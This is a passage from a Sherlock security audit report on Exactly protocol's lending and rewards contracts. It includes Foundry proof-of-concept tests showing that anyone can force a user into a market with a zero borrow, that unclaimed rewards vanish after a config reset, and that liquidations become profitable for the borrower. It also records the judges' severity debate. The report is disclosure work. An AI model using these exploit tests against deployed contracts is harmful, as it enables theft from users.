After `borrow()` is executed successfully, `borrower` will automatically enter the market. This method performs a security check to determine if the `msg.sender` allowance is sufficient to avoid malicious operations. But it doesn't limit the borrow number !=0, so anyone can execute without an allowance. This causes the permission check to fail and maliciously allows others to enter the market

Vulnerability Detail

`borrow()` is executed by calling `auditor.checkBorrow()`. `checkBorrow()` will cause the `borrower` to automatically enter the market.

```
contract Market is Initializable, AccessControlUpgradeable, PausableUpgradeable,
 ↪  ERC4626 {
..
  function borrow(
    uint256 assets,
    address receiver,
    address borrower
  ) external whenNotPaused whenNotFrozen returns (uint256 borrowShares) {
@> //@audit missing check assets !=0
    spendAllowance(borrower, assets);

...

@>  auditor.checkBorrow(this, borrower);
    asset.safeTransfer(receiver, assets);
  }
```

```
contract Auditor is Initializable, AccessControlUpgradeable {
...
  function checkBorrow(Market market, address borrower) external {
    MarketData storage m = markets[market];
    if (!m.isListed) revert MarketNotListed();

    uint256 marketMap = accountMarkets[borrower];
    uint256 marketMask = 1 << m.index;

    // validate borrow state
    if ((marketMap & marketMask) == 0) {
      // only markets may call checkBorrow if borrower not in market
      if (msg.sender != address(market)) revert NotMarket();

@>    accountMarkets[borrower] = marketMap | marketMask;
      emit MarketEntered(market, borrower);
    }
```

however, this method does not determine that `assets` cannot be 0. If the user specifies `assets=0` then the security check for allowances can be skipped, and the `borrower` will enter the market after the method is executed successfully

POC

The following code demonstrates that no allowances are needed to let the `borrower` enter the market

add to `Market.t.sol`

```
function testAnyoneEnterMarket() external {
  (,, uint8 index,,) = auditor.markets(
    Market(address(market))
  );
  bool inMarket = auditor.accountMarkets(BOB) & (1 << index) == 1;
  console2.log("bob in market(before):",inMarket);
  console2.log("anyone execute borrow(0)");
  vm.prank(address(0x1230000123)); //anyone
  market.borrow(0, address(this), BOB);
  inMarket = auditor.accountMarkets(BOB) & (1 << index) == 1;
  console2.log("bob in market(after):",inMarket);
}
```

```
$ forge test -vvv --match-test testAnyoneEnterMarket

Ran 1 test for test/Market.t.sol:MarketTest
[PASS] testAnyoneEnterMarket() (gas: 172080)
Logs:
  bob in market(before): false
  anyone execute borrow(0)
```

```
bob in market(after): true
```

Impact

The current protocol makes a strict distinction between enter market or not. A user can be a simple `LP` to a market and not participate in borrowing or collateralization, which is then protected and cannot be used as a `seize market` for liquidation purposes. At the same time, if the user does not enter the market, then the user can access the assets as they wish without constraints. And so on. If any person can maliciously allow others to enter the market to break the rules. For example, maliciously liquidating `seize` a protected market

Code Snippet

https://github.com/sherlock-audit/2024-04-interest-rate-model/blob/main/protocol/contracts/Market.sol#L167

Tool used

Manual Review

Recommendation

```
  function borrow(
    uint256 assets,
    address receiver,
    address borrower
  ) external whenNotPaused whenNotFrozen returns (uint256 borrowShares) {
+   if (assets == 0) revert ZeroBorrow();
    spendAllowance(borrower, assets);
```

Discussion

Dliteofficial

@santipu03

I also don't think this is a valid finding. How is this not a low or a recommendation? There is no clear impact here, especially because the user whose account was used to enter the market would have no obligations to the market whatsoever. Plus, he can just exit the market when he likes

MehdiKarimi81

Escalate

Users can simply exit the market via exitMarket function until they don't have any debt at that market.

sherlock-admin3

> Escalate
>
> Users can simply exit the market via exitMarket function until they don't have any debt at that market.

You've created a valid escalation!

To remove the escalation from consideration: Delete your comment.

You may delete or edit your escalation comment anytime before the 48-hour escalation window closes. After that, the escalation becomes final.

santipu03

I marked this issue as valid because a borrower cannot realize that an attacker has entered a market on his behalf so if a liquidation happens later, the borrower will have its assets seized from the recently entered market when it shouldn't be possible.

Dliteofficial

My comment still stands and I agree with @MehdiKarimi81. If a malicious user enters a market on my behalf, I can just exit the market whenever possible. Secondly, if a user doesn't have funds in the market, such market, even though he's entered, will not amount to any value and won't be considered for liquidation. Finally, if indeed the victim is in the market, during deposit, he would have been automatically entered and if the attacker entered the market before the victim's deposit, the victim's deposit still legitimises the market entered by the attacker. There is no real harm done here

santipu03

A user can deposit assets in a market to earn from lending them but he can exit the market instantly so that the assets he deposited are not considered in the liquidity calculations. When an attacker enters a market on a user's behalf, all those assets are at risk of seizure if the borrower is liquidated, which shouldn't be like that.

Dliteofficial

At the risk of the debating this further, I'll just allow whoever is in charge as Head of judging resolved this. There is no risk to a user who is in a market with empty collateral. It's the same as saying that a fixed rate pool LP will get nothing if there's no backup borrow. That's how the protocol was designed. At best. This is a low/informational

MehdiKarimi81

> A user can deposit assets in a market to earn lending them but he can exit the market instantly so that the assets he deposited are not considered in the liquidity calculations. When an attacker enters a market on behalf of a user, puts all those assets at risk of seizure if the borrower is liquidated.

why the liquidator shouldn't be able to liquidate those funds? if other markets have not enough liquidity then liquidating from this market seems rational

0xA5DF

Check out my submission, this explains very well how this affects the user and why they can't simply exit the market:

> This allows users who're approved to borrow on other markets to borrow on their behalf using assets they didn't intend to use as collateral.
>
> Consider the following scenario:

- Bob has 3K in the USDC market, and 50K in the DAI market
- They entered the USDC market, but not the DAI market
- Bob approved Alice to borrow up to 20K ETH on their behalf on the ETH market
- Bob assumes that this allows Alice only to use the funds at USDC market as collateral, and the funds at DAI are safe
- Alice now wants to use Bob's DAI collateral to take a loan, so she forces him to enter the market with a zero-borrow
- Alice took a loan (she can send it to her own address, effectively stealing from Bob) using collateral she wasn't supposed to use according to the protocol's design, causing a loss of assets to Bob

0xA5DF

PS I'm not very familiar with Sherlock's rules, but if this is a low without the impact that I've listed, would this invalidate/downgrade other dupes that didn't identify this impact?

I'd request the judge to consider this if that's the case

santipu03

@0xA5DF If the head of judging decides that the only valid impact is the one you pointed out, I believe that the submissions that don't specify that impact would be invalidated.

However, I still think that the impact I pointed out here is also valid.

MehdiKarimi81

However, there is no loss of funds and the liquidator only uses other assets for liquidation, despite it may be unexpected for the borrower but no loss of funds happened, it only affects user experience and according to sherlock docs : Issues that cause minor inconvenience to users where there is no material loss of funds are not considered valid

santipu03

When the borrower is liquidated and some funds that should not count as collateral are seized, that's clearly a loss of funds for the borrower.

cvetanovv

This issue can be Medium.

It breaks core contract functionality. A malicious user should not force another user to enter the market.

Il the duplicates have found the root cause of the issue, and for that, the duplicates should remain.

I also find the @santipu03 and @0xA5DF comments reasonable, which further increases the severity of this issue to Medium.

Planning to reject the escalation and leave the issue as is.

sherlock-admin2

The protocol team fixed this issue in the following PRs/commits: https://github.com/exactly/protocol/pull/720

Evert0x

Result: Medium Has Duplicates

sherlock-admin4

Escalations have been resolved successfully!

Escalation status:

- MehdiKarimi81: rejected

sherlock-admin2

The Lead Senior Watson signed off on the fix.

Issue M-7: Rewards can disappear when new rewards are distributed in the RewardsController.

Source: https://github.com/sherlock-audit/2024-04-interest-rate-model-judging/issues/95

The protocol has acknowledged this issue.

Found by

0x73696d616f, Trumpero, ether_sky

Summary

The `RewardsController` distributes `rewards` to both `depositors` and `borrowers`. When new `rewards` are available, the `admin` assigns them using the `config` function. However, there is a logic error in this function, causing unclaimed `rewards` for users to disappear entirely.

Vulnerability Detail

The `rewards distribution config` includes a `start time` and `duration`.

```
struct Config {
  Market market;
  ERC20 reward;
  IPriceFeed priceFeed;
  uint32 start;   // @audit, here
  uint256 distributionPeriod;   // @audit, here
  uint256 targetDebt;
  uint256 totalDistribution;
  uint256 undistributedFactor;
  int128 flipSpeed;
  uint64 compensationFactor;
  uint64 transitionFactor;
  uint64 borrowAllocationWeightFactor;
  uint64 depositAllocationWeightAddend;
  uint64 depositAllocationWeightFactor;
}
```

Whenever a `borrower` changes his `balance`, we update the `rewards index` for that `borrower` and calculate the `unclaimed rewards`.

```
function handleBorrow(address account) external {
  Market market = Market(msg.sender);
  AccountOperation[] memory ops = new AccountOperation[](1);
  (, , uint256 accountFloatingBorrowShares) = market.accounts(account);

  Distribution storage dist = distribution[market];
  uint256 available = dist.availableRewardsCount;
  for (uint128 r = 0; r < available; ) {
    ERC20 reward = dist.availableRewards[r];
    ops[0] = AccountOperation({
      operation: true,
      balance: accountFloatingBorrowShares + accountFixedBorrowShares(market,
↪   account, dist.rewards[reward].start)
    });
    update(account, Market(msg.sender), reward, ops);  // @audit, here
    unchecked {
      ++r;
    }
  }
}
```

There are two types of `borrow shares`: `floating shares` and `fixed shares`. The calculation for `fixed shares` is based on the `rewards distribution start time`.

```
function previewAllocation(
  RewardData storage rewardData,
  Market market,
  uint256 deltaTime
) internal view returns (uint256 borrowIndex, uint256 depositIndex, uint256
↪   newUndistributed) {
  TotalMarketBalance memory m;
  m.floatingDebt = market.floatingDebt();
  m.floatingAssets = market.floatingAssets();
  TimeVars memory t;
  t.start = rewardData.start;
  t.end = rewardData.end;
  {
    uint256 firstMaturity = t.start - (t.start % FixedLib.INTERVAL) +
↪   FixedLib.INTERVAL;  // @audit, here
    uint256 maxMaturity = block.timestamp -
      (block.timestamp % FixedLib.INTERVAL) +
      (FixedLib.INTERVAL * market.maxFuturePools());
    uint256 fixedDebt;
    for (uint256 maturity = firstMaturity; maturity <= maxMaturity; ) {  //
↪   @audit, here
      (uint256 borrowed, ) = market.fixedPoolBalance(maturity);
      fixedDebt += borrowed;
      unchecked {
        maturity += FixedLib.INTERVAL;
      }
    }
    m.debt = m.floatingDebt + fixedDebt;
    m.fixedBorrowShares = market.previewRepay(fixedDebt);
  }
}
```

Now, suppose there are new upcoming `rewards`, and the `rewards distribution` is scheduled for the future. In this case, the `start time` will be updated with the new value,

```
function config(Config[] memory configs) external onlyRole(DEFAULT_ADMIN_ROLE) {
    if (block.timestamp < end) {
      uint256 released = 0;
      uint256 elapsed = 0;
      if (block.timestamp > start) {
        released =
          rewardData.lastConfigReleased +
          rewardData.releaseRate *
          (block.timestamp - rewardData.lastConfig);
        elapsed = block.timestamp - start;
        if (configs[i].totalDistribution <= released ||
↪   configs[i].distributionPeriod <= elapsed) {
          revert InvalidConfig();
        }
        rewardData.lastConfigReleased = released;
      }

      rewardData.releaseRate =
        (configs[i].totalDistribution - released) /
        (configs[i].distributionPeriod - elapsed);
    } else if (rewardData.start != configs[i].start) {
      rewardData.start = configs[i].start;  // @audit, here
      rewardData.lastUpdate = configs[i].start;
      rewardData.releaseRate = configs[i].totalDistribution /
↪   configs[i].distributionPeriod;
      rewardData.lastConfigReleased = 0;
    }
  }
}
```

The issue is that the `fixed borrow shares` from the `old start time` to the `new start time` are removed in the `rewards calculation`.

```
function accountFixedBorrowShares(
  Market market,
  address account,
  uint32 start
) internal view returns (uint256 fixedDebt) {
  uint256 firstMaturity = start - (start % FixedLib.INTERVAL) +
↪   FixedLib.INTERVAL;  // @audit, here
  uint256 maxMaturity = block.timestamp -
    (block.timestamp % FixedLib.INTERVAL) +
    (FixedLib.INTERVAL * market.maxFuturePools());

  for (uint256 maturity = firstMaturity; maturity <= maxMaturity; ) {  //
↪   @audit, here
    (uint256 principal, ) = market.fixedBorrowPositions(maturity, account);
    fixedDebt += principal;
    unchecked {
      maturity += FixedLib.INTERVAL;
    }
  }
  fixedDebt = market.previewRepay(fixedDebt);
}
```

It's important to note that these `shares` are actually part of the previous `rewards distribution`, but `borrowers` may not have updated their `rewards` in time.

Let's consider an example. Two `borrowers`, `BOB` and `ALICE`, engage in borrowing operations. They `borrow` funds at `maturity` periods of `4 weeks`, `12 weeks` and `16 weeks`. The current `rewards distribution` starts at time `0` and lasts for `12 weeks`.

Both `borrowers` have the same `claimable rewards` amount obviously. `BOB` `claims` his `rewards` after `18 weeks` pass, but `ALICE` delays `claiming`. Meanwhile, the `admin` sets a new `start date` for upcoming `rewards`.

When `ALICE` finally claims her `rewards`, the `fixed borrow shares` before this `new start date` are removed from the calculation. Consequently, she loses a significant portion of her `rewards`. Specific values can be described in the below `log`.

```
block.timestamp                 ==>   0
usdcConfig.start                ==>   0
usdcConfig.distributionPeriod   ==>   12 weeks
*******************
block.timestamp                 ==>   4838400
*******************
block.timestamp                 ==>   10886400
Claimable for ALICE             ==>   999999975000000000000
Claimable for BOB               ==>   999999975000000000000
*******************
Reward Balance for BOB          ==>   999999975000000000000
Reward Balance for ALICE       ==>   734619963000000000000
```

Please add below test to the `RewardsController.t.sol`.

```
function testResetConfig () external {
  vm.prank(ALICE);
  marketUSDC.approve(address(this), 100 ether);

  vm.prank(BOB);
  marketUSDC.approve(address(this), 100 ether);

  vm.prank(ALICE);
  auditor.enterMarket(marketUSDC);

  vm.prank(BOB);
  auditor.enterMarket(marketUSDC);

  marketUSDC.deposit(50 ether, ALICE);
  marketUSDC.deposit(50 ether, BOB);

  RewardsController.Config memory usdcConfig =
↪   rewardsController.rewardConfig(marketUSDC, opRewardAsset);

  console2.log("block.timestamp                ==>  ", block.timestamp);
  console2.log("usdcConfig.start               ==>  ", usdcConfig.start);
  console2.log("usdcConfig.distributionPeriod  ==>  ",
↪   usdcConfig.distributionPeriod / 1 weeks, "weeks");
  assertEq(usdcConfig.distributionPeriod, 12 weeks);

  marketUSDC.borrowAtMaturity(4 weeks, 1 ether, 20 ether, ALICE, ALICE);
  marketUSDC.borrowAtMaturity(4 weeks, 1 ether, 20 ether, BOB, BOB);

  console2.log("*******************");
  vm.warp(8 weeks);
  console2.log("block.timestamp                ==>  ", block.timestamp);
  marketUSDC.borrowAtMaturity(12 weeks, 1 ether, 20 ether, ALICE, ALICE);
  marketUSDC.borrowAtMaturity(12 weeks, 1 ether, 20 ether, BOB, BOB);
  marketUSDC.borrowAtMaturity(16 weeks, 2 ether, 20 ether, ALICE, ALICE);
  marketUSDC.borrowAtMaturity(16 weeks, 2 ether, 20 ether, BOB, BOB);

  console2.log("*******************");
  vm.warp(18 weeks);
  console2.log("block.timestamp                ==>  ", block.timestamp);
  console2.log("Claimable for ALICE            ==>  ",
↪   rewardsController.allClaimable(ALICE, opRewardAsset));
  console2.log("Claimable for BOB              ==>  ",
↪   rewardsController.allClaimable(BOB, opRewardAsset));
```

```
    vm.prank(BOB);
    rewardsController.claimAll(BOB);

    opRewardAsset.mint(address(rewardsController), 4_000 ether);
    RewardsController.Config[] memory configs = new RewardsController.Config[](1);
    configs[0] = RewardsController.Config({
      market: marketUSDC,
      reward: opRewardAsset,
      priceFeed: MockPriceFeed(address(0)),
      targetDebt: 20_000e6,
      totalDistribution: 2_000 ether,
      start: uint32(block.timestamp),
      distributionPeriod: 12 weeks,
      undistributedFactor: 0.5e18,
      flipSpeed: 2e18,
      compensationFactor: 0.85e18,
      transitionFactor: 0.64e18,
      borrowAllocationWeightFactor: 0,
      depositAllocationWeightAddend: 0.02e18,
      depositAllocationWeightFactor: 0.01e18
    });
    rewardsController.config(configs);

    vm.prank(ALICE);
    rewardsController.claimAll(ALICE);

    console2.log("*******************");
    console2.log("Reward Balance for BOB         ==>  ",
 ↪  opRewardAsset.balanceOf(BOB));
    console2.log("Reward Balance for ALICE       ==>  ",
 ↪  opRewardAsset.balanceOf(ALICE));
  }
```

Impact

The `admin` can not consider whether all `borrowers` have already `claimed` their `rewards` before setting a `new rewards start time` so this can happen easily.

Code Snippet

https://github.com/sherlock-audit/2024-04-interest-rate-model/blob/8f6ef1b0868d3ea3a98a5ab7e8b3a164857681d7/protocol/contracts/RewardsController.sol#L826-L827 https://github.com/sherlock-audit/2024-04-interest-rate-model/blob/8f6ef1b0868d3ea3a98a5ab7e8b3a164857681d7/protocol/contracts/RewardsControll er.sol#L78 https://github.com/sherlock-audit/2024-04-interest-rate-model/blob/8f6ef1b0868d3ea3a98a5ab7e8b3a164857681d7/protocol/contracts/RewardsController.sol#L481-L495 https://github.com/sherlock-audit/2024-04-interest-rate-model/blob/8f6ef1b0868d3ea3a98a5ab7e8b3a164857681d7/protocol/contracts/RewardsController.sol#L693-L694 https://github.com/sherlock-audit/2024-04-interest-rate-model/blob/8f6ef1b0868d3ea3a98a5ab7e8b3a164857681d7/protocol/contracts/RewardsController.sol#L367

Tool used

Manual Review

Recommendation

Issue M-8: The claimable rewards amount for borrowers decreases over time

Source: https://github.com/sherlock-audit/2024-04-interest-rate-model-judging/issues/98

The protocol has acknowledged this issue.

Found by

Trumpero, ether_sky

Summary

The `RewardsController` handles the distribution of `rewards` for both `borrowers` and `depositors`. Once `rewards` are assigned to users, they should not be changed, as is typical in most `rewards distribution system`. However, the actual `rewards` amounts that users can `claim` will vary depending on when they choose to `claim` them. In other words, the `claimable rewards amount` decreases over time.

Vulnerability Detail

There are two types of `borrow shares`: `floating borrow shares` and `fixed borrow shares`. When calculating the `claimable rewards` for `borrowers`, we compute the `fixed borrow shares`.

```
function claim(
  MarketOperation[] memory marketOps,
  address to,
  ERC20[] memory rewardsList
) public claimSender returns (ERC20[] memory, uint256[] memory claimedAmounts) {
  uint256 rewardsCount = rewardsList.length;
  claimedAmounts = new uint256[](rewardsCount);
  address sender = _claimSender;
  for (uint256 i = 0; i < marketOps.length; ) {
    MarketOperation memory marketOperation = marketOps[i];
    Distribution storage dist = distribution[marketOperation.market];
    uint256 availableRewards = dist.availableRewardsCount;
    for (uint128 r = 0; r < availableRewards; ) {
      update(
        sender,
        marketOperation.market,
        dist.availableRewards[r],
        accountBalanceOperations(  // @audit, here
          marketOperation.market,
          marketOperation.operations,
          sender,
          dist.rewards[dist.availableRewards[r]].start
        )
      );
      unchecked {
        ++r;
      }
    }
  }
}
```

The calculation for `fixed borrow shares` depends on the current `floating debt amount`.

```
function accountFixedBorrowShares(
  Market market,
  address account,
  uint32 start
) internal view returns (uint256 fixedDebt) {
  uint256 firstMaturity = start - (start % FixedLib.INTERVAL) +
↪  FixedLib.INTERVAL;
  uint256 maxMaturity = block.timestamp -
    (block.timestamp % FixedLib.INTERVAL) +
    (FixedLib.INTERVAL * market.maxFuturePools());

  for (uint256 maturity = firstMaturity; maturity <= maxMaturity; ) {
    (uint256 principal, ) = market.fixedBorrowPositions(maturity, account);
    fixedDebt += principal;
    unchecked {
      maturity += FixedLib.INTERVAL;
    }
  }
  fixedDebt = market.previewRepay(fixedDebt);  // @audit, here
}
```

Since the floating debt increases overtime, the fixed borrow shares decreases accordingly.

```
function previewBorrow(uint256 assets) public view returns (uint256) {
  uint256 supply = totalFloatingBorrowShares; // Saves an extra SLOAD if
↪   totalFloatingBorrowShares is non-zero.

  return supply == 0 ? assets : assets.mulDivUp(supply,
↪   totalFloatingBorrowAssets());  // @audit, here
}

function totalFloatingBorrowAssets() public view returns (uint256) {
  uint256 memFloatingDebt = floatingDebt;
  uint256 memFloatingAssets = floatingAssets;
  uint256 newDebt = memFloatingDebt.mulWadDown(
    interestRateModel
      .floatingRate(
        floatingUtilization(memFloatingAssets, memFloatingDebt),
        globalUtilization(memFloatingAssets, memFloatingDebt,
↪   floatingBackupBorrowed)
      )
      .mulDivDown(block.timestamp - lastFloatingDebtUpdate, 365 days)
  );
  return memFloatingDebt + newDebt; // @audit, here
}
```

Consequently, the claimable rewards amount also decreases over time.

Let's consider an example. Two borrowers, BOB and ALICE, borrow funds at a maturity of 4 weeks. After 1 week, the claimable rewards amount for both borrowers is obviously the same. BOB updates his rewards index every day.(for testing purpose, simulate this using the handleBorrow function with 0 balance change in the test) After 12 weeks, the claimable rewards amount for both borrowers are different. The rewards for BOB are larger than those for ALICE. This illustrates that if a user misses updating their rewards index, the claimable rewards amount decreases. Please check below log.

```
Clamaible after 1 weeks for ALICE    =>  174922410391030899964
Clamaible after 1 weeks for BOB      =>  174922410391030899964
*****************
Clamaible after 12 weeks for ALICE   =>  208531472281735404397
```

SHERLOCK

```
Clamaible after 12 weeks for BOB      =>  209300027311073978764
```

Please add below test to `RewardsController.t.sol`.

```
function testRewardBalanceCheck() external {
  vm.prank(ALICE);
  marketUSDC.approve(address(this), 100 ether);

  vm.prank(BOB);
  marketUSDC.approve(address(this), 100 ether);

  vm.prank(ALICE);
  auditor.enterMarket(marketUSDC);

  vm.prank(BOB);
  auditor.enterMarket(marketUSDC);

  marketUSDC.deposit(30 ether, ALICE);
  marketUSDC.deposit(30 ether, BOB);

  marketUSDC.borrowAtMaturity(4 weeks, 1 ether, 20 ether, ALICE, ALICE);
  marketUSDC.borrowAtMaturity(4 weeks, 1 ether, 20 ether, BOB, BOB);

  marketUSDC.deposit(40 ether, address(this));
  marketUSDC.borrow(20 ether, address(this), address(this));
  vm.warp(1 weeks);
  console2.log("Clamaible after 1 weeks for ALICE    => ",
↪   rewardsController.allClaimable(ALICE, opRewardAsset));
  console2.log("Clamaible after 1 weeks for BOB      => ",
↪   rewardsController.allClaimable(BOB, opRewardAsset));

  for (uint256 i = 1; i < 12 * 7; i ++) {
    vm.warp(i * 1 days);
    vm.prank(address(marketUSDC));
    rewardsController.handleBorrow(BOB);
  }


  vm.warp(12 weeks);
  console2.log("*****************");
  console2.log("Clamaible after 12 weeks for ALICE   => ",
↪   rewardsController.allClaimable(ALICE, opRewardAsset));
  console2.log("Clamaible after 12 weeks for BOB     => ",
↪   rewardsController.allClaimable(BOB, opRewardAsset));
}
```

Impact

Whenever a `borrower` changes the `balance`, the `rewards index` is updated. At that moment, the `total fixed borrow shares` is the sum of `individual fixed borrow shares`, and the current available `rewards` are divided by this `total fixed borrow shares`. However, when other `borrowers` claim their `rewards` later on, their `fixed borrow shares` are less than they were at the time of `update`. This reduction in `fixed borrow shares` leads to a decrease in the actual `claimed rewards`.

Code Snippet

https://github.com/sherlock-audit/2024-04-interest-rate-model/blob/8f6ef1b0868d3ea3a98a5ab7e8b3a164857681d7/protocol/contracts/RewardsController.sol#L116-L121 https://github.com/sherlock-audit/2024-04-interest-rate-model/blob/8f6ef1b0868d3ea3a98a5ab7e8b3a164857681d7/protocol/contracts/RewardsController.sol#L379 https://github.com/sherlock-audit/2024-04-interest-rate-model/blob/8f6ef1b0868d3ea3a98a5ab7e8b3a164857681d7/protocol/contracts/Market.sol#L954-L958 https://github.com/sherlock-audit/2024-04-interest-rate-model/blob/8f6ef1b0868d3ea3a98a5ab7e8b3a164857681d7/protocol/contracts/Market.sol#L919

Tool used

Manual Review

Recommendation

We can take a snapshot of the `fixed borrow shares` when `fixed borrowing` occurs.

Issue M-9: Profitable liquidations and accumulation of bad debt due to earnings accumulator not being triggered before liquidating

Source: https://github.com/sherlock-audit/2024-04-interest-rate-model-judging/issues/101

Found by

0x73696d616f

Summary

The earnings accumulator is not updated and converted to `floatingAssets` pre liquidation, leading to an instantaneous increase of balance of the liquidatee if it has shares which causes a profitable liquidation and the accumulation of bad debt.

Vulnerability Detail

`Market::liquidate()` fetches the balance and debt of a user and calculates the amount to liquidate based on them to achieve a target health, or if not possible, seize all the balance of the liquidatee, to get as much collateral as possible. Then `Auditor::handleBadDebt()` is called in the end if the user still had debt but no collateral.

However, the protocol does not take into account that the liquidatee will likely have market shares due to previous deposits, which will receive the pro-rata `lendersAssets` and debt from the `penaltyRate` if the maturity date of a borrow was expired.

Thus, in `Auditor::checkLiquidation()`, it calculates the collateral based on `totalAssets()`, which does not take into account an `earningsAccumulator` increase due to the 2 previously mentioned reasons, and `base.seizeAvailable` will be smaller than supposed. This means that it will end up convering the a debt and collateral balance to get the desired ratio (or the assumed maximum collateral), but due to the `earningsAccumulator`, the liquidatee will have more leftover collateral.

This leftover collateral may allow the liquidatee to redeem more net assets than it had before the liquidation (as the POC will show), or if the leftover collateral is still smaller than the debt, it will lead to permanent bad debt. In any case, the protocol takes a loss in favor of the liquidatee.

Add the following test to `Market.t.sol`:

```
function test_POC_ProfitableLiquidationForLiquidatee_DueToEarningsAccumulator()
↪  external {
  uint256 maturity = FixedLib.INTERVAL * 2;
  uint256 assets = 10_000 ether;

  // BOB adds liquidity for liquidation
  vm.prank(BOB);
  market.depositAtMaturity(maturity + FixedLib.INTERVAL * 1, 2*assets, 0, BOB);

  // ALICE deposits and borrows
  ERC20 asset = market.asset();
  deal(address(asset), ALICE, assets);
  vm.startPrank(ALICE);
  market.deposit(assets, ALICE);
  market.borrowAtMaturity(maturity, assets*78*78/100/100, type(uint256).max,
↪  ALICE, ALICE);
  vm.stopPrank();

  // Maturity is over and some time has passed, accruing extra debt fees
  skip(maturity + FixedLib.INTERVAL * 90 / 100);

  // ALICE net balance before liquidation
  (uint256 collateral, uint256 debt) = market.accountSnapshot(address(ALICE));
  uint256 preLiqCollateralMinusDebt = collateral - debt;

  // Liquidator liquidates
  address liquidator = makeAddr("liquidator");
  deal(address(asset), liquidator, assets);
  vm.startPrank(liquidator);
  asset.approve(address(market), type(uint256).max);
  market.liquidate(ALICE, type(uint256).max, market);
  vm.stopPrank();

  // ALICE redeems and asserts that more assets were redeemed than pre
↪  liquidation
  vm.startPrank(ALICE);
  market.repayAtMaturity(maturity, type(uint256).max, type(uint256).max, ALICE);
  uint256 redeemedAssets = market.redeem(market.balanceOf(ALICE) - 1, ALICE,
↪  ALICE);

  assertEq(preLiqCollateralMinusDebt, 802618844937982683756);
  assertEq(redeemedAssets, 1556472132091811191541);
  assertGt(redeemedAssets, preLiqCollateralMinusDebt);
}
```

Impact

Profitable liquidations for liquidatees, who would have no incentive to repay their debt as they could just wait for liquidations to profit. Or, if the debt is already too big, it could lead to the accumulation of bad debt as the liquidatee would have remaining collateral balance and `Auditor::handleBadDebt()` would never succeed.

Code Snippet

https://github.com/sherlock-audit/2024-04-interest-rate-model/blob/main/protocol/contracts/Market.sol#L514 https://github.com/sherlock-audit/2024-04-interest-rate-model/blob/main/protocol/contracts/Market.sol#L552 https://github.com/sherlock-audit/2024-04-interest-rate-model/blob/main/protocol/contracts/Market.sol#L599 https://github.com/sherlock-audit/2024-04-interest-rate-model/blob/main/protocol/contracts/Market.sol#L611 https://github.com/sherlock-audit/2024-04-interest-rate-model/blob/main/protocol/contracts/Market.sol#L925 https://github.com/sherlock-audit/2024-04-interest-rate-model/blob/main/protocol/contracts/Auditor.sol#L219

Tool used

Manual Review

Vscode

Foundry

Recommendation

Add the following line to the beggining of `Market::liquidate()`: `floatingAssets += accrueAccumulatedEarnings();` This will update `lastAccumulatorAccrual`, so any increase in `earningsAccumulator` to lenders will not be reflected in `totalAssets()`, and the liquidatee will have all its collateral seized.

Discussion

0x73696d616f

Escalate

This issue is of high severity as it leads to loss of funds and has no specific pre conditions.

It will never allow clearing bad debt as the liquidatee will always have shares in the last market it is in, receiving a portion of `lendersAssets` at the end of the liquidation, which will mean it will never have exactly 0 collateral and the debt is not cleared via

`Auditor::handleBadDebt()`. This breaks the core mechanism of clearing bad debt and will make it grow out of bounds and the protocol will likely become insolvent.

sherlock-admin3

> Escalate
>
> This issue is of high severity as it leads to loss of funds and has no specific pre conditions.
>
> It will never allow clearing bad debt as the liquidatee will always have shares in the last market it is in, receiving a portion of `lendersAssets` at the end of the liquidation, which will mean it will never have exactly 0 collateral and the debt is not cleared via `Auditor::handleBadDebt()`. This breaks the core mechanism of clearing bad debt and will make it grow out of bounds and the protocol will likely become insolvent.

You've created a valid escalation!

To remove the escalation from consideration: Delete your comment.

You may delete or edit your escalation comment anytime before the 48-hour escalation window closes. After that, the escalation becomes final.

santipu03

This issue was originally marked as a medium instead of high because anyone can liquidate a position twice, thus solving this issue. When this issue is triggered and the borrower is left with some dust collateral and more debt, the liquidator can simply liquidate again the position, seizing the last shares of collateral.

Given that the protocol will have a liquidation bot that will liquidate all unhealthy positions, this issue will probably never be triggered because the bot will liquidate all unhealthy positions regardless of the dust amount of collateral they have.

0x73696d616f

> This issue was originally marked as a medium instead of high because anyone can liquidate a position twice, thus solving this issue. When this issue is triggered and the borrower is left with some dust collateral and more debt, the liquidator can simply liquidate again the position, seizing the last shares of collateral. Given that the protocol will have a liquidation bot that will liquidate all unhealthy positions, this issue will probably never be triggered because the bot will liquidate all unhealthy positions regardless of the dust amount of collateral they have.

As the user will have shares left, the second liquidation will suffer from the same issue.

This issue also impacts seizing less collateral than supposed.

santipu03

> As the user will have shares left, the second liquidation will suffer from the same issue.

Not if the second liquidation is executed in the same block.

In my opinion, this issue warrants medium severity because it has extensive limitations to be triggered. First of all, it requires a loan that has some bad debt, which is highly unlikely given that the liquidation bot will always liquidate borrowers before they can generate bad debt. Second, it requires that no one has interacted with the protocol on the same block as the liquidation. Third, a liquidator can execute the liquidation twice to easily go around this issue.

Summarizing, this issue requires certain conditions or specific states to be triggered so it qualifies for medium severity.

0x73696d616f

> Not if the second liquidation is executed in the same block.

This is true but liquidations will not be executed twice in a row and if they are, they are also less likely to be in the same block. The likelihood is still 99% of triggering this. The reason they will not liquidate twice is because it is not profitable, only dust will be left.

> In my opinion, this issue warrants medium severity because it has extensive limitations to be triggered. First of all, it requires a loan that has some bad debt, which is highly unlikely given that the liquidation bot will always liquidate borrowers before they can generate bad debt.

This does not make it less likely. The likelihood is based on `Auditor::clearBadDebt()` calls that fail. Which is 99% of the time.

> Second, it requires that no one has interacted with the protocol on the same block as the liquidation.

This is not completely true due to:

1. Not all functions accue earnings.
2. Even then, it will be false if the liquidation is first in the block.

And even in this case, The likelihood of having blocks that do not interact with accrue earning functions is extremely high.

> Third, a liquidator can execute the liquidation twice to easily go around this issue.

It's not easily at all. Firstly, the second liquidation has to be in the same block. Secondly, the second liquidation is not profitable for the liquidator.

> Summarizing, this issue requires certain conditions or specific states to be triggered so it qualifies for medium severity.

This does not require relevant specific conditions as @santipu03 implies. It may be mitigated by a liquidator that is aware of the issue and makes a special smart contract to address it (always liquidate twice). But this does not mean at all that it requires a special state. Additionally, this mitigation is very costly for the liquidator as it has to liquidate twice, incurring 2x gas costs. No one is going to perform this besides the protocol, who wants to remain solvent.

This is what differentiates this issue from for example #120, which does require special market conditions and is medium and not high.

Additionally, there is still the fact that the liquidator will be seized less than supposed. This can not be mitigated as it is profitable for the liquidatee who can trigger it himself.

0x73696d616f

Also, the `penaltyRate` of a maturity that has expired goes to the earnings accumulator, so liquidations will be completely off in this case. Check the POC for details.

This creates the following scenario, where a liquidator will be unfairly liquidated if they have borrowed maturities that have expired, as it increases the earnings accumulator only after checking the health factor of the borrower in `Auditor::checkLiquidation()`.

